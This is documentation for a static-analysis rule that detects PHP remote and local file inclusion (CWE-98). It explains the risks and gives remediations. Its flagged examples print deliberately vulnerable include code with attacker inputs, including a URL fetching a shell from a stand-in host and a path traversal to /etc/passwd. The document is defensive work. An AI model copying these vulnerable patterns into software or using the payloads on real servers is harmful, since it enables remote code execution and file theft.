VNX-98 – PHP Remote File Inclusion
Overview
This rule flags PHP include, include_once, require, and require_once statements that directly use superglobal values ($_GET, $_POST, $_REQUEST, $_COOKIE) as the file path argument. PHP Remote File Inclusion (RFI) allows an attacker to supply a URL (e.g. http://attacker.com/shell.php) as the file path, causing the server to fetch and execute arbitrary PHP code from that remote URL — if allow_url_include is enabled. Even when RFI is not possible, the same pattern enables Local File Inclusion (LFI), which allows reading sensitive files and, in some configurations, code execution via log-file poisoning or PHP filter chains. This maps to CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’).
Severity: Critical | CWE: CWE-98 – PHP Remote File Inclusion
Why This Matters
PHP RFI was one of the most prevalent attack classes in the mid-2000s and remains present in legacy codebases and poorly maintained applications today. Even with allow_url_include = Off in php.ini, the equivalent LFI is still exploitable: attackers read /etc/passwd, /proc/self/environ, Apache access logs (which can be poisoned with PHP code via the User-Agent header), or use php://filter chains to achieve code execution. A single include($_GET['page']) can compromise the entire server. The second finding category — include($variable) without a direct superglobal — is reported at lower severity but is still worth auditing because the variable may receive its value from user input indirectly.
What Gets Flagged
<?php
// FLAGGED: direct superglobal in include
$page = $_GET['page'];
include($page); // attacker: ?page=http://evil.com/shell.php
// FLAGGED: inline superglobal
include($_GET['module'] . '.php'); // attacker: ?module=../../../etc/passwd%00
// FLAGGED: require with POST data
require($_POST['lib']);
// FLAGGED: require_once with REQUEST
require_once($_REQUEST['template']);
<?php
// FLAGGED (warning): variable include — may be user-tainted
$module = getModule(); // trace: does getModule() use $_GET?
include($module);
Remediation
- Use a hardcoded allowlist and never allow user input to determine the file path directly.
<?php
// SAFE: strict allowlist of permitted page names
$allowed_pages = ['home', 'about', 'contact', 'faq'];
$page = $_GET['page'] ?? 'home';
// Validate against the allowlist before any file operation
if (!in_array($page, $allowed_pages, true)) {
http_response_code(404);
include(__DIR__ . '/pages/404.php');
exit;
}
// Include using a hardcoded base path with no user-supplied separators
include __DIR__ . '/pages/' . $page . '.php';
- Validate and sanitise if an allowlist is not possible (not recommended, but better than nothing).
<?php
// BETTER (but not ideal): strip dangerous characters and validate extension
$page = basename($_GET['page'] ?? '');
$page = preg_replace('/[^a-zA-Z0-9_\-]/', '', $page); // only alphanum + _ -
if (empty($page)) {
$page = 'home';
}
$path = __DIR__ . '/pages/' . $page . '.php';
// Ensure the resolved path is within the expected directory (defence in depth)
$realpath = realpath($path);
if ($realpath === false || strpos($realpath, realpath(__DIR__ . '/pages/')) !== 0) {
http_response_code(400);
exit('Invalid page');
}
include $realpath;
- Disable
allow_url_includeandallow_url_fopeninphp.ini. These should always beOffin production; they provide no legitimate use case that cannot be served by proper HTTP client libraries.
; php.ini — disable remote file inclusion at the PHP level
allow_url_include = Off
allow_url_fopen = Off
- Use a front controller pattern. Route all requests through a single entry point that maps URL parameters to specific controller classes — never to raw file paths. Frameworks like Laravel, Symfony, and Slim handle this correctly by default.